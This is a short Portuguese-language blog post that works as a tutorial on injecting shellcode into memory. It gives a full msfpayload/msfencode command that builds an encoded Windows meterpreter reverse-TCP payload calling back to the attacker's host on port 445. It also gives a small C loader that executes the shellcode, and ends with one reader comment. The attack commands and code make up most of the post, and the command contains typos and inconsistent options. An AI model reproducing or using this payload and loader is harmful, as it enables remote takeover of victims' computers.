sexta-feira, 29 de maio de 2015

Injeção de shellcode na mémoria

#Shellcode [ CONEXÃO REVERSA ] #Memory


  Eae galera, jh00n aqui novamente :)

  Nesse post irei abordar o tema sobre injeção de uma shellcode na mémoria, mas antes de tudo teremos que gerar uma shellcode usando o msfpayload que está presente no framework Metasploit.

    

root@jh00n:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.19 LPORT=445 R | msfenconde -e x86/shikata_ga_nai -t c -a x64 -b "\x00\x0A\x00" -c 5




  Irei gerar a shellcode utilizando a payload (windows/meterpreter/reverse_tcp). Agora eu terei que definir o ip da máquina que ira se conectar, no parâmetro (LHOST) e a porta que irá também se conectar, no parâmetro (LPORT), e por último definirei o parâmetro (R) para o msfpayload me retornar a shellcode em (R)aw.


   #Msfencode



msfenconde -e x86/shikata_ga_nai -t c -a x64 -b "\x00\x0A\x00" -c 5



  O msfencode será utilizado para encodar a minha shellcode (x86/shikata_ga_nai) agora e vou definir o numéro de vezes que a minha shellcode ira ser codificado no parâmetro (-c 5) nesse caso defini para cinco. (-t) e também irei definir formato de saída"c".  A arquitetura que a shellcode vai utilizar é 64 bits(-a x64). Vou excluir alguns caracteres "inúteis" x00, x0A utilizando o parâmetro (-b)


#Compilando



  Utilizarei o Dev c++ para compilar o programa que ira executar a minha shellcode:


  Utilizarei o Dev c++ para compilar o programa que ira executar a minha shellcode:

  char code[] = "shellcode";
   int main(int argc, char **argv)
  {
   int (*func)();
   func = (int (*)()) code;
   (int)(*func)();
   }


#Aguardando Conexão

   

DEMO

Um comentário:

  1. n entendi para que usar o dev c++ se ja usou o encode no terminal.
    poderia falar mais sobre?

    ResponderExcluir

............